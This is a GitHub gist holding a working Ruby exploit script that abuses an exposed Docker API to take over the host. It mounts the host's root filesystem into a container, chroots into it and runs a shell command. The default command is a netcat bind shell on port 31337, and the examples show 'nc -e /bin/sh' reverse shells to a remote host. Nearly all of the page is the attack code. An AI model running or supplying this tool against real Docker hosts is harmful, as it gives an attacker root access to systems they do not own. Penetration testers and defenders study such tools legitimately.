Skip to content

Instantly share code, notes, and snippets.

@kost
Last active February 12, 2019 23:08
Show Gist options
  • Save kost/e2e35337cac3ba59a6d3 to your computer and use it in GitHub Desktop.
Save kost/e2e35337cac3ba59a6d3 to your computer and use it in GitHub Desktop.
Get Docker Host Shell abusing Docker API
#!/usr/bin/env ruby
# Get Docker Host Shell abusing Docker API
# Copyright (C) 2015 Kost. Distributed under GPL.
#
# Prerequisite:
# gem install docker-api
#
# Example:
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422
#
# Gemfile:
# gem 'docker-api', :require => 'docker'
require 'docker'
require 'logger'
require 'optparse'
#require 'pp'
#require 'pry'
$PRGNAME='docker_get_host_shell.rb'
# helpful class for logger
class MultiDelegator
def initialize(*targets)
@targets = targets
end
def self.delegate(*methods)
methods.each do |m|
define_method(m) do |*args|
@targets.map { |t| t.send(m, *args) }
end
end
self
end
class <<self
alias to new
end
end
# default $options
$options = {}
$options['ports'] = []
$options['image'] = 'gliderlabs/alpine'
$options['loglevel'] = 'WARN'
$options['logname'] = nil
$options['read_timeout']=999999
$options['shell']='nc -e /bin/sh -lvp 31337'
begin
optyaml = YAML::load_file(ENV['HOME']+'/.docker_get_host_shell')
rescue # Errno::ENOENT
end
if optyaml != nil then
$options.merge!(optyaml)
end
# initialize logger
if $options['logname'] != nil then
log_file = File.open($options['logname'], 'a')
@log = Logger.new MultiDelegator.delegate(:write, :close).to(STDOUT, log_file)
else
@log = Logger.new MultiDelegator.delegate(:write, :close).to(STDOUT)
end
loglevel = Logger.const_get $options['loglevel'] # Logger::INFO # default is ::WARN
@log.level = loglevel
# pp $options
OptionParser.new do |opts|
opts.banner = "Usage: #{$PRGNAME} [options]"
opts.on("-v", "--[no-]verbose", "Run verbosely") do |v|
$options['verbose'] = v
@log.level = Logger::INFO
end
opts.on("-d", "--[no-]debug", "Run in debug mode") do |v|
$options['debug'] = v
@log.level = Logger::DEBUG
end
opts.on("-h", "--help", "Prints this help") do
puts opts
exit
end
opts.on("-i", "--image NAME", "use image NAME") do |optarg|
$options['image'] = optarg
end
opts.on("-l", "--log FILE", "log to FILE") do |optarg|
$options['logname'] = optarg
end
opts.on("-s", "--shell COMMAND", "Execute COMMAND ('nc -e /bin/sh example.com 4554')") do |optarg|
$options['shell'] = optarg
end
opts.on("-p", "--ports PORT:HOST", "Expose PORT on container to HOST port") do |port|
$options['ports'] << port
end
opts.on("-e", "--email EMAIL", "use this e-mail") do |optarg|
$options['email'] = optarg
end
opts.on("-U", "--user NAME", "use this username") do |optarg|
$options['user'] = optarg
end
opts.on("-P", "--password NAME", "use this password") do |optarg|
$options['password'] = optarg
end
opts.separator ""
opts.separator "Example #1: #{$PRGNAME} -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422"
opts.separator "Example #2: #{$PRGNAME} -v unix:///var/run/docker.sock"
end.parse!
# pp $options
def exploit
@log.debug("Configuring ports")
hostconfig={}
portexp={}
if not $options['ports'].empty? then
portbp={}
$options['ports'].each do |portspec|
@log.debug("Configuring port: "+portspec)
portsp=portspec.split(':')
if portsp.size == 1 then
portsp[1]=portsp[0]
end
portbp[portsp[0]]=[{'HostPort' => portsp[1]}]
portexp[portsp[0]]={}
end
hostconfig['PortBindings'] = portbp
end
hostconfig['Binds'] = ['/:/rootfs']
# pp hostconfig
@log.info("Creating container using image: " + $options['image'])
container = Docker::Container.create('Cmd' => ['/bin/sh'], 'Image' => $options['image'], 'Tty' => true, 'Volumes' => { '/rootfs' => {} }, 'ExposedPorts' => portexp, 'HostConfig' => hostconfig )
@log.info("Starting container: " + container.info["id"])
container.start
@log.info("Setting timeout value to: " + $options['read_timeout'].to_s)
Docker.options[:read_timeout]=$options['read_timeout']
ipaddress=container.json["NetworkSettings"]["IPAddress"]
@log.warn("Container IP address: "+ipaddress)
@log.warn("Executing shell: "+$options['shell'])
container.exec(['chroot','/rootfs','/bin/sh','-c',$options['shell']])
@log.info("Stopping container: " + container.info["id"])
container.stop
@log.info("Deleting container: " + container.info["id"])
container.delete(:force => true)
end
def prepare
@log.debug("Using docker URL: " +Docker.url)
@log.debug("Validating docker version")
Docker.validate_version!
if $options.has_key?('user') and $options.has_key?('password') and $options.has_key?('email') then
@log.info("Authenticating as " + $options['user'] + "with e-mail " + $options['email'])
Docker.authenticate!('username' => $options['user'], 'password' => $options['password'], 'email' => $options['email'])
end
@log.info("Docker version: " + Docker.version["Version"] +" with kernel "+Docker.version["KernelVersion"])
# images=Docker::Image.all
end
def doit
prepare
exploit
end
if ARGV.empty? then
doit
else
ARGV.each do |url|
Docker.url=url
doit
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment